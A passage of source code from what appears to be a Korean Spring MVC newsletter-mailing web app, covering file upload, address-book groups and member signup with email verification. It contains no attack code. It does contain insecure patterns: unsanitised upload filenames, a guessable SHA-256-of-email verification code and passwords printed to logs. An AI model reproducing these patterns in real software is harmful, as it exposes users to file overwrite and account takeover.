= new FormData(); var inputFile = $("input[name='uploadFile']"); var files = inputFile[0].files; console.log(files); for(var i = 0; i < files.length; i++){ if(!checkExtension(files[i].name, files[i].size)){ return false; } formData.append("uploadFile", files[i]); } $.ajax({ url:'/board/upload/uploadAjaxAction', processData: false, contentType: false, data: formData, type: 'POST', dataType: 'json', success: function(result){ alert("uploaded!"); console.log(result); showUploadResult(result); } }); // end ajax }); // end input[name='file'] $("#previewBtn").on("click", function(preview, callback, error){ console.log("preview btn clicked") var formObj = $("form"); var bno = "<c:out value='${mail.bno}'/>"; var mno = "<c:out value='${mail.mno}'/>"; var table = $("table"); var preview = { title1: table.find("input[name='title1']").val(), title2: table.find("textarea[name='title2']").val(), text1: table.find("textarea[name='text1']").val(), text2: table.find("textarea[name='text2']").val(), text3: table.find("textarea[name='text3']").val(), link1: table.find("input[name='link1']").val(), link2: table.find("input[name='link2']").val(), link3: table.find("input[name='link3']").val() } $.ajax({ type: 'put', url:"/board/mailbox/preview?bno="+bno+"&mno="+mno, data: JSON.stringify(preview), contentType: "application/json; charset=utf-8", success: function(result, status, xhr){ alert("updated!"); console.log(result); showPreview(); if(callback){ callback(result); } }, error: function(xhr, status, er){ if(error){ error(er); } } }); }); function showUploadResult(uploadResultArr){ if(!uploadResultArr || uploadResultArr.length == 0) { return; } var uploadUL = $(".uploadResult ul"); var str = ""; $(uploadResultArr).each(function(i, obj){ //img type if(obj.image){ var fileCallPath = encodeURIComponent(obj.uploadPath + "/s_" + obj.uuid + "_" + obj.fileName); str += "<li data-path='"+obj.uploadPath+"'"; str += " data-uuid='"+obj.uuid+"'"; str += " data-filename='"+obj.fileName+"'"; str += " data-type='"+obj.image+"'><div>"; str += "<span>"+obj.fileName+"</span>"; str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='image'"; str += " class='btn btn-sm'> x </button><br/>"; str += "<img src='/board/upload/display?fileName="+fileCallPath+"'>"; str += "</div>"; str += "</li>"; str += "<input type='hidden' name='img1' value='<img src=\'/board/upload/display?fileName="+fileCallPath+"'/>"; } else { var fileCallPath = encodeURIComponent(obj.uploadPath +"/"+ obj.uuid+"_"+ obj.fileName); var fileLink = fileCallPath.replace(new RegExp(/\\/g), "/"); str += "<li data-path='"+obj.uploadPath+"' data-uuid='"+obj.uuid+"' data-filename='"+obj.fileName+"'"; str += " data-type='"+obj.image+"'><div>"; str += "<span>"+obj.fileName+"</span>"; str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='file'"; str += " class='btn btn-sm'> x </button><br/>"; str += "<img src='/board/resources/attach.jpg'></a>"; str += "</div>"; str += "</li>"; } }); // end $(uploadResultArr) uploadUL.append(str); } // end showUploadResult() var table = $("table"); function showPreview(){ var bno = "<c:out value='${mail.bno}'/>"; var mno = "<c:out value='${mail.mno}'/>"; var title1 = $("input[name='title1']").val(); var title2 = $("input[name='title2'").val(); var text1 = $("textarea[name='text1']").val(); var text2 = $("textarea[name='text2']").val(); var text3 = $("textarea[name='text3']").val(); var link1 = $("input[name='link1']").val(); var link2 = $("input[name='link2']").val(); var link3 = $("input[name='link3']").val(); $.getJSON("/board/mailbox/showPreview",{bno:bno, mno:mno}, function(){ console.log("showPreview"); $(".title1").text(title1); $(".title2").text(title2); $(".text1").text(text1); $(".text2").text(text2); $(".text3").text(text3); $(".link1").attr('href', link1); $(".link2").attr('href', link2); $(".link3").attr('href', link3); }); }; });``` AddressController.java ```package com.tmail.board.controller; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; import javax.mail.MessagingException; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartHttpServletRequest; import org.springframework.web.util.WebUtils; import com.tmail.board.Biz.AddressBiz; import com.tmail.board.Biz.HelpBiz; import com.tmail.board.Biz.MailboxBiz; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Address_GroupDto; import com.tmail.board.Dto.InsertResultDto; import com.tmail.board.Dto.MailboxDto; import com.tmail.board.Dto.TestDto; import com.tmail.board.excel.ReadXLSX; import com.tmail.board.sha256.SHA256; @Controller public class AddressController { @Autowired private JavaMailSender mailSender; @Autowired private RegisterBiz reg_biz; @Autowired private AddressBiz biz; @Autowired private ReadXLSX ex_red; @Autowired private HelpBiz help_biz; @Autowired private MailboxBiz mailboxBiz; @RequestMapping(value = "myaddr_Form.do") public String myaddr_Form(Model model, HttpSession session, int group_seq, AddressDto dto) { String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); dto.setMembers_seq(members_seq); dto.setGroup_seq(group_seq); model.addAttribute("group_seq", group_seq); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); model.addAttribute("email", email); return "guest_addr_insert"; } @RequestMapping(value="myaddr_insert_file.do", method=RequestMethod.POST) public String myaddr_file(Model model, AddressDto dto, HttpSession session, int members_seq, HttpServletResponse response, MultipartHttpServletRequest multi) throws IOException { InsertResultDto result = new InsertResultDto(); InputStream inputStream = null; OutputStream outputStream = null; if(multi.getFile("files").getSize()>0) { // ํŒŒ์ผ๊ฒฝ๋กœ String path = ""; try { path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage"); } catch (FileNotFoundException e1) { e1.printStackTrace(); } System.out.println(path); // ํŒŒ์ผ๋“ค์„ Listํ˜•์‹์œผ๋กœ ๋ณด๊ด€ List<MultipartFile> files = multi.getFiles("files"); File file = new File(path); // ํŒŒ์ผ์ด ์—†๋‹ค๋ฉด ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑ if (file.exists() == false) { file.mkdirs(); } File filename = null; for (int i = 0; i < files.size(); i++) { inputStream = files.get(i).getInputStream(); System.out.println(files.get(i).getOriginalFilename() + " ์—…๋กœ๋“œ"); filename = new File(path + "/" + files.get(i).getOriginalFilename()); if (!filename.exists()) { filename.createNewFile(); } outputStream = new FileOutputStream(filename); int read = 0; byte[] b = new byte[(int) files.get(i).getSize()]; while ((read = inputStream.read(b)) != -1) { outputStream.write(b, 0, read); } System.out.println(path + "\\" + files.get(i).getOriginalFilename()); ex_red.ReadXLSX_Read(path + "\\" + files.get(i).getOriginalFilename(), members_seq, dto.getGroup_seq()); } System.out.println(result.getSum()+"-------------------------๋ฆฌ์ ˆํŠธ"); String email = (String) session.getAttribute("group_email"); model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("email",email); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); return "guest_addr_insert"; }else { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('ํŒŒ์ผ์„ ๋„ฃ์–ด์ฃผ์„ธ์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } String email = (String) session.getAttribute("group_email"); model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("email",email); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); return "guest_addr_insert"; } } @RequestMapping(value="myaddr_insert.do", method=RequestMethod.POST) public String myaddr(Model model, AddressDto dto, HttpSession session, int members_seq, HttpServletResponse response, MultipartHttpServletRequest multi) throws IOException { if(!(dto.getCustomer_email().equals("")&&dto.getCustomer_name().equals(""))) { dto.setMembers_seq(members_seq); int check = biz.address_check(dto); if(check==0) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('์ด๋ฏธ ์กด์žฌํ•˜๋Š” ์ด๋ฉ”์ผ์ด์—์š”.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } String email = (String) session.getAttribute("group_email"); model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("email",email); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); return "guest_addr_insert"; }else { int res = biz.insert(dto); String email = (String) session.getAttribute("group_email"); System.out.println(res+"-------------------!!!!!!!!!!!"); if(res==0) { model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("email",email); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); return "guest_addr_insert"; } model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); model.addAttribute("email", email); return "guest_addr_insert"; } }else { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('๊ตฌ๋…์ž๋ฅผ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } String email = (String) session.getAttribute("group_email"); model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("email",email); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); return "guest_addr_insert"; } } // ๊ทธ๋ฃน ๋งŒ๋“ค๊ธฐ @RequestMapping(value = "group_mail.do") public String group_addressMail(Model model, HttpSession session, String email, Address_GroupDto dto) { int members_seq = reg_biz.member_seq_return(email); List<Address_GroupDto> group_list = biz.selectList_Group(members_seq); session.setAttribute("group_email", email); model.addAttribute("member_seq", members_seq); model.addAttribute("email", email); for (int i = 0; i < group_list.size(); i++) { int res = biz.group_admin_size(group_list.get(i).getGroup_seq()); dto.setGroup_seq(group_list.get(i).getGroup_seq()); dto.setMember_seq(members_seq); dto.setCnt(res); int num = biz.group_cnt(dto); System.out.println("cnt์—…๋ฐ์ดํŠธ"+num); } model.addAttribute("list", biz.selectList_Group(members_seq)); return "group_addressEmail"; } //๊ทธ๋ฃน ์ธ์„œํŠธ @RequestMapping(value = "group.do") public String group_insert(Address_GroupDto dto, Model model, HttpSession session) { int res = biz.group_insert(dto); List<Address_GroupDto> group_list = biz.selectList_Group(dto.getMembers_seq()); String email = (String) session.getAttribute("group_email"); System.out.println("๊ทธ๋ฃน๊ทธ๋ฃน" + res); model.addAttribute("member_seq", dto.getMembers_seq()); model.addAttribute("email", email); for (int i = 0; i < group_list.size(); i++) { int ress = biz.group_admin_size(group_list.get(i).getGroup_seq()); dto.setGroup_seq(group_list.get(i).getGroup_seq()); dto.setMember_seq(dto.getMembers_seq()); dto.setCnt(ress); int num = biz.group_cnt(dto); System.out.println("cnt์—…๋ฐ์ดํŠธ"+num); } model.addAttribute("list", group_list); return "group_addressEmail"; } //๊ทธ๋ฃน์ด๋ฆ„ ์—…๋ฐ์ดํŠธ @RequestMapping(value="group_update.do") public String group_update(Address_GroupDto dto, Model model, HttpSession session) { String email = (String) session.getAttribute("group_email"); List<Address_GroupDto> group_list = biz.selectList_Group(dto.getMembers_seq()); biz.update_group(dto); model.addAttribute("member_seq", dto.getMembers_seq()); model.addAttribute("email", email); for (int i = 0; i < group_list.size(); i++) { int ress = biz.group_admin_size(group_list.get(i).getGroup_seq()); dto.setGroup_seq(group_list.get(i).getGroup_seq()); dto.setMember_seq(dto.getMembers_seq()); dto.setCnt(ress); int num = biz.group_cnt(dto); System.out.println("cnt์—…๋ฐ์ดํŠธ"+num); } model.addAttribute("list", biz.selectList_Group(dto.getMembers_seq())); return "group_addressEmail"; } //์ฃผ์†Œ๋ก ์ด๋ฆ„ ์—…๋ฐ์ดํŠธ @RequestMapping(value="addr_update.do") public String address_update(HttpSession session,Model model,AddressDto dto) { String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); dto.setMembers_seq(members_seq); biz.update(dto); model.addAttribute("group_seq", dto.getGroup_seq()); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); model.addAttribute("email", email); return "guest_addr_insert"; } //๊ทธ๋ฃน ์‚ญ์ œ ๋ฒ„ํŠผ ํด๋ฆญ์‹œ @RequestMapping(value="delete_dd.do") public String group_delete(HttpSession session, Model model, int group_seq,Address_GroupDto dto, AddressDto dto2) { List<String> cus_seq = null; String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); System.out.println(members_seq+"member_seq-----------"); dto.setGroup_seq(group_seq); dto.setMember_seq(members_seq); System.out.println(group_seq+"@@@@@@"+members_seq); dto2.setGroup_seq(group_seq); dto2.setMembers_seq(members_seq); cus_seq = biz.selectOne_cus_seq(dto2); for(int j = 0; j<cus_seq.size(); j++) { dto2.setGroup_seq(group_seq); dto2.setMembers_seq(members_seq); dto2.setCustomer_seq(Integer.parseInt(cus_seq.get(j))); biz.delete_addr(dto2); } int res = biz.delete_group(dto); List<Address_GroupDto> group_list = biz.selectList_Group(members_seq); model.addAttribute("member_seq", members_seq); model.addAttribute("email", email); for (int i = 0; i < group_list.size(); i++) { int ress = biz.group_admin_size(group_list.get(i).getGroup_seq()); dto.setGroup_seq(group_list.get(i).getGroup_seq()); dto.setMember_seq(members_seq); dto.setCnt(ress); int num = biz.group_cnt(dto); System.out.println("cnt์—…๋ฐ์ดํŠธ"+num); } model.addAttribute("list", biz.selectList_Group(members_seq)); return "group_addressEmail"; } //์ฃผ์†Œ๋ก์—์„œ ์‚ญ์ œ๋ฒ„ํŠผ ํด๋ฆญ์‹œ @RequestMapping(value="delete_ad.do") public String address_delete(HttpSession session, Model model, int group_seq, AddressDto dto, int customer_seq) { String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); dto.setMembers_seq(members_seq); dto.setGroup_seq(group_seq); dto.setCustomer_seq(customer_seq); biz.delete_addr(dto); model.addAttribute("group_seq", group_seq); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); model.addAttribute("email", email); return "guest_addr_insert"; } //check๋ฐ•์Šค ์„ ํƒ,์ „์ฒด์‚ญ์ œ๊ฐ€๋Šฅ @RequestMapping(value="delete_addr.do") public String delete_addr(int[] delete_addr, int group_seq, HttpSession session, AddressDto dto, Model model) { String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); System.out.println("----------"); System.out.println(group_seq); for(int i = 0; i<delete_addr.length; i++ ) { dto.setMembers_seq(members_seq); dto.setGroup_seq(group_seq); dto.setCustomer_seq(delete_addr[i]); String addr_emails = biz.selectOne_email(dto); biz.delete_addr(dto); } model.addAttribute("group_seq", group_seq); model.addAttribute("members_seq", members_seq); model.addAttribute("list", biz.selectList(dto)); model.addAttribute("email", email); return "guest_addr_insert"; } //check๋ฐ•์Šค ๊ตฌ๋…์ž seq๊ฐ€์ ธ์™€์„œ email์„ ๋””๋น„์—์„œ ๋ฝ‘์Œ @RequestMapping(value="addr_check.do") public String addr_check(int[] all_value, int group_seq, HttpSession session, AddressDto dto, Model model) { List<String> addr_email = new ArrayList<String>(); String email = (String) session.getAttribute("group_email"); int members_seq = reg_biz.member_seq_return(email); session.setAttribute("mno", members_seq); for(int i=0; i<all_value.length; i++) { System.out.println(all_value[i]+"\t"+members_seq+"\t"+group_seq); dto.setMembers_seq(members_seq); dto.setGroup_seq(group_seq); dto.setCustomer_seq(all_value[i]); String addr_emails = biz.selectOne_email(dto); System.out.println(addr_emails); addr_email.add(addr_emails); } System.out.println(addr_email+"list๊ฐ’"); model.addAttribute("emails_fuc", addr_email); System.out.println(addr_email+"์œผ์•„์•„์•„์•„์•„์•„"); model.addAttribute("email", email); return "emailTemplate"; } @RequestMapping(value="tests.do", method=RequestMethod.POST) public String tests(HttpServletResponse response, TestDto dto) throws MessagingException, IOException { System.out.println(dto.getEmail()); MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8"); String setfrom = "jea830@hanmail.net"; List<String> tomail = dto.getEmail(); // ๋ฐ›๋Š” ์‚ฌ๋žŒ ์ด๋ฉ”์ผ String title = dto.getTitle(); // ์ œ๋ชฉ String content = dto.getContent(); // ๋‚ด์šฉ for(int i = 0; i<tomail.size(); i++) { messageHelper.setFrom(setfrom); // ๋ณด๋‚ด๋Š”์‚ฌ๋žŒ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํ•˜๋ฉด ์ •์ƒ์ž‘๋™์„ ์•ˆํ•จ messageHelper.setTo(dto.getEmail().get(i));; // ๋ฐ›๋Š”์‚ฌ๋žŒ ์ด๋ฉ”์ผ messageHelper.setSubject(title); // ๋ฉ”์ผ์ œ๋ชฉ์€ ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค messageHelper.setText(content, true); // html์ด๋ผ๋Š” ์˜๋ฏธ๋กœ true๋ฅผ ์จ์ค€๋‹ค. mailSender.send(message); } response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; out_p = response.getWriter(); out_p.println("<script>alert('๋ฉ”์ผ์„ ๋ณด๋ƒˆ์–ด์š”!');</script>"); out_p.flush(); return "redirect: /board/mailbox/getList"; } }``` RegisterBiz.java ```package com.tmail.board.Biz; import com.tmail.board.Dto.RegisterDto; public interface RegisterBiz { public int joinInsert(RegisterDto dto); public int loginSelect(String email,String pw); public int joinCheck(String email, String pw); public int pass_ck(String email); public void pass_complate(String email); public int pass_change(RegisterDto dto); public String mail_check(String email); public int member_seq_return(String email); public String master_name_ck(String email); public RegisterDto getMember(int members_seq); }``` RegisterController.java ```package com.tmail.board.controller; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.util.List; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeUtility; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartHttpServletRequest; import org.springframework.web.util.WebUtils; import com.tmail.board.Biz.MailboxBiz; import com.tmail.board.Biz.PersonalBiz; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxDto; import com.tmail.board.Dto.PersonalDto; import com.tmail.board.Dto.RegisterDto; import com.tmail.board.sha256.SHA256; /** * Handles requests for the application home page. */ @Controller public class RegisterController { // ๊ฐ’์ฃผ์ž… @Autowired private JavaMailSender mailSender; @Autowired private MailboxBiz mailboxBiz; //์ฃผ์†Œ๋ก @RequestMapping(value="addressForm.do") public String addressForm() { return "address"; } @RequestMapping(value = "main.do") public String main() { return "main"; } // ๋กœ๊ทธ์ธ ์„ฑ๊ณต์‹œ ๋“ค์–ด๊ฐˆ ๋ฉ”์ธ @RequestMapping(value = "main2.do") public String main2(HttpSession session, Model model, MailboxDto mail, Criteria cri) { String email = (String) session.getAttribute("email_login"); model.addAttribute("email", email); model.addAttribute("mail", mailboxBiz.getList(cri, email)); return "main2"; } // ๋กœ๊ทธ์•„์›ƒ @RequestMapping(value = "logout.do") public String logout(HttpSession session, HttpServletResponse response) { session.setAttribute("email_login", null); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๋‹ค์Œ์— ๋˜ ๋ฐฉ๋ฌธํ•ด์ฃผ์„ธ์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "main"; } // mailForm @RequestMapping(value = "mailForm.do") public String mailForm() { return "mailForm"; } // mailSending ์ฝ”๋“œ @RequestMapping(value = "mailSending.do", method = RequestMethod.POST) public String mailSending(Model model, MultipartHttpServletRequest multi) { InputStream inputStream = null; OutputStream outputStream = null; // ํŒŒ์ผ๊ฒฝ๋กœ String path = ""; try { path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage"); } catch (FileNotFoundException e1) { e1.printStackTrace(); } System.out.println(path); // ํŒŒ์ผ๋“ค์„ Listํ˜•์‹์œผ๋กœ ๋ณด๊ด€ List<MultipartFile> files = multi.getFiles("files"); File file = new File(path); // ํŒŒ์ผ์ด ์—†๋‹ค๋ฉด ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑ if (file.exists() == false) { file.mkdirs(); } // ๋ฉ”์ผ๋ณด๋‚ด๊ธฐ๊ธฐ๋Šฅ String setfrom = "jea830@hanmail.net"; String tomail = multi.getParameter("tomail"); // ๋ฐ›๋Š” ์‚ฌ๋žŒ ์ด๋ฉ”์ผ String title = multi.getParameter("title"); // ์ œ๋ชฉ String content = multi.getParameter("content"); // ๋‚ด์šฉ File filename = null; try { MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8"); for (int i = 0; i < files.size(); i++) { inputStream = files.get(i).getInputStream(); System.out.println(files.get(i).getOriginalFilename() + " ์—…๋กœ๋“œ"); filename = new File(path + "/" + files.get(i).getOriginalFilename()); if (!filename.exists()) { filename.createNewFile(); } outputStream = new FileOutputStream(filename); int read = 0; byte[] b = new byte[(int) files.get(i).getSize()]; while ((read = inputStream.read(b)) != -1) { outputStream.write(b, 0, read); } // ํŒŒ์ผ์ฒจ๋ถ€ FileSystemResource fsr = new FileSystemResource(filename); messageHelper.addAttachment(MimeUtility.encodeText(files.get(i).getOriginalFilename(), "UTF-8", "B"), fsr); } messageHelper.setFrom(setfrom); // ๋ณด๋‚ด๋Š”์‚ฌ๋žŒ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํ•˜๋ฉด ์ •์ƒ์ž‘๋™์„ ์•ˆํ•จ messageHelper.setTo(tomail); // ๋ฐ›๋Š”์‚ฌ๋žŒ ์ด๋ฉ”์ผ messageHelper.setSubject(title); // ๋ฉ”์ผ์ œ๋ชฉ์€ ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค messageHelper.setText(content, true); // ๋ฉ”์ผ ๋‚ด์šฉ- mailSender.send(message); } catch (Exception e) { e.printStackTrace(); } finally { try { inputStream.close(); outputStream.close(); } catch (IOException e) { e.printStackTrace(); } } return "suc"; } //-------------------- ํšŒ์›๊ฐ€์ž… @Autowired private RegisterBiz biz; @RequestMapping(value = "joinform.do") public String joinform() { return "joinform"; } @RequestMapping(value = "join.do", method = RequestMethod.POST) public String join(RegisterDto dto, HttpServletResponse response, HttpSession session) throws Exception { System.out.println("dto์— ๋‹ด๊ฒจ์ง„ ์ด๋ฆ„" + dto.getMembers_name()); int join_chek = biz.joinCheck(dto.getMembers_email(), dto.getMembers_pw()); System.out.println("์ฒดํฌ์ฒดํฌ : " + join_chek); System.out.println("dto์— ๋„ฃ์–ด์กŒ๋Š”์ง€ ํ™•์ธ" + dto.getMembers_name() + dto.getMembers_email() + dto.getMembers_pw()); if (join_chek == 1) {// ๋ฉ”ํผ์—์„œ sql๋ฌธ์ด ์„ฑ๊ณตํ•˜๋ฉด 1์„ ๋ฐ˜ํ™˜ํ•˜์ง€๋งŒ, ์‹คํŒจํ•˜๋ฉด 0 (์ค‘๋ณต์ด ์—†์–ด์•ผํ•˜๊ธฐ์— 0์ด๋ฉด ์ฒ˜๋ฆฌํ•˜๋„๋กํ•จ) System.out.println("๊ฐ’์ฃผ์ž…๊ฐ€๋Šฅ"); int join_insert = biz.joinInsert(dto);// jsp์—์„œ ๋ฐ›์€๊ฐ’ ์ธ์„œํŠธ if (join_insert == 0) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('๊ฐ€์ž…์ฒ˜๋ฆฌ์˜ค๋ฅ˜');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "joinform";// ์‹คํŒจ์‹œ ๋‹ค์‹œ ํšŒ์›๊ฐ€์ž…์ฐฝ์œผ๋กœ } else if (join_insert == 1) { // ์„ฑ๊ณตํ–ˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๋ฆฌ๊ธฐ ์œ„ํ•ด 1์ด ๋ณด๋‚ด์งˆ๊ฑฐ์ž„ MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8"); String to = dto.getMembers_email(); String host = "http://localhost:8787/board/"; String setfrom = "jea830@hanmail.net"; String tomail = dto.getMembers_email(); // ๋ฐ›๋Š” ์‚ฌ๋žŒ ์ด๋ฉ”์ผ String title = "[ํˆฌ๋ฉ”์ผ] ์•ˆ๋…•ํ•˜์„ธ์š” ์ธ์ฆ๋ฉ”์ผ์ด ๋„์ฐฉํ–ˆ์–ด์š”!"; // ์ œ๋ชฉ String content = "๋‹ค์Œ ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ ์ด๋ฉ”์ผ ํ™•์ธ์„ ์ง„ํ–‰ํ•˜์„ธ์š”." + "<a href='" + host + "join_email_complate.do?join_code=" + new SHA256().getSHA256(to) + "'>์ด๋ฉ”์ผ ์ธ์ฆํ•˜๊ธฐ</a>"; // ๋‚ด์šฉ messageHelper.setFrom(setfrom); // ๋ณด๋‚ด๋Š”์‚ฌ๋žŒ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํ•˜๋ฉด ์ •์ƒ์ž‘๋™์„ ์•ˆํ•จ messageHelper.setTo(tomail); // ๋ฐ›๋Š”์‚ฌ๋žŒ ์ด๋ฉ”์ผ messageHelper.setSubject(title); // ๋ฉ”์ผ์ œ๋ชฉ์€ ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค messageHelper.setText(content, true); // html์ด๋ผ๋Š” ์˜๋ฏธ๋กœ true๋ฅผ ์จ์ค€๋‹ค. mailSender.send(message); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('์ธ์ฆ ๋ฉ”์ผ์„ ๋ณด๋ƒˆ์–ด์š”!');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } session.setAttribute("join_email", to); return "main"; } } else if (join_chek == 0) {// ์ค‘๋ณต์—๋Ÿฌ System.out.println("์ค‘๋ณต๋์–ด์š”!!!"); response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ด๋ฏธ ๊ฐ€์ž…ํ•˜์‹  ์ •๋ณด์ž…๋‹ˆ๋‹ค');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } return "joinform"; } return "joinform"; } @RequestMapping(value = "join_email_complate.do") public String join_email_complate(HttpServletRequest request, HttpSession session, Model model, HttpServletResponse response) throws UnsupportedEncodingException { request.setCharacterEncoding("UTF-8"); String code = request.getParameter("join_code"); String session_mail = (String) session.getAttribute("join_email"); try { boolean rightCode = (new SHA256().getSHA256(session_mail).equals(code)) ? true : false; if (rightCode == true) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out = null; try { out = response.getWriter(); out.println("<script>alert('์ธ์ฆ์ด ์™„๋ฃŒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out.flush(); } biz.pass_complate(session_mail); model.addAttribute("email", session_mail); return "main2"; } } catch (Exception e) { e.printStackTrace(); } finally { session.setAttribute("join_email", null); } return "error"; // ์ ˆ๋Œ€ ์ž˜๋ชป๋œ ์ฝ”๋“œ๊ฐ€ ์˜ฌ์ผ์ด ์—†์ง€๋งŒ.. ๋งŒ์•ฝ ์ž˜๋ชป์˜จ๋‹ค๋ฉด ์—๋Ÿฌ์ฐฝ์„ ๋„์šฐ๊ฒŒ ํ•ด์ค€๋‹ค. } // ---------------------๋กœ๊ทธ์ธ @RequestMapping(value = "loginform.do") public String loginform() { return "login"; } @RequestMapping(value = "login.do", method=RequestMethod.POST) public String login(RegisterDto dto, HttpSession session, Model model, HttpServletResponse response, MailboxDto mail, Criteria cri) throws Exception { System.out.println("๋กœ๊ทธ์ธ ์œ ์ง€ ์ฒดํฌ ์—ฌ๋ถ€" + dto.getLogin_check()); System.out.println("๋‚ด๊ฐ€๋ณด๋‚ธ ๋น„๋ฒˆ๊ฐ’ : " + dto.getMembers_pw()); int res = biz.loginSelect(dto.getMembers_email(), 